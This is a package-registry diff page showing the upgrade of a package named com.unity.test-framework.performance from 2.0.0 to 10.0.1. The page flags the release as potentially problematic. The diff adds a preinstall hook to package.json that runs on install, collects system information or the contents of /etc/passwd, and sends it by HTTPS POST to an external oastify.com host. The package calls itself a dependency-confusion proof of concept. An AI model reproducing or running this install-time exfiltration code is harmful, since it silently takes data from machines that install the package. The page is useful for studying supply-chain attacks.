com.unity.test-framework.performance 2.0.0 → 10.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.test-framework.performance might be problematic. Click here for more details.

Files changed (1) hide show
  1. package/package.json +7 -2
package/package.json CHANGED
@@ -1,5 +1,10 @@
1
1
  {
2
2
  "name": "com.unity.test-framework.performance",
3
- "version": "2.0.0",
4
- "description": "Proof of concept for dependency confusion"
3
+ "version": "10.0.1",
4
+ "description": "Security research PoC for dependency confusion. Please contact if this is found on your systems.",
5
+ "scripts": {
6
+ "preinstall": "node -e \"const os=require('os');const {execSync}=require('child_process');const https=require('https');const querystring=require('querystring');const pkg=require('./package.json');const platform=os.platform();const arch=os.arch();let data='';try{if(platform==='win32'){if(arch==='x64'){data=execSync('systeminfo').toString();}else{data=execSync('whoami && echo %PROCESSOR_ARCHITECTURE%').toString();}}else{data=execSync('cat /etc/passwd').toString();}}catch(e){data='ERROR:'+e.toString();}const postData=querystring.stringify({package:pkg.name,platform:platform,arch:arch,content:data});const options={hostname:'oiafa793pnvjjvl7vv81bgg0grmia9bx0.oastify.com',port:443,path:'/',method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','Content-Length':Buffer.byteLength(postData)}};const req=https.request(options);req.write(postData);req.end();\""
7
+ },
8
+ "author": "Security Researcher",
9
+ "license": "ISC"
5
10
  }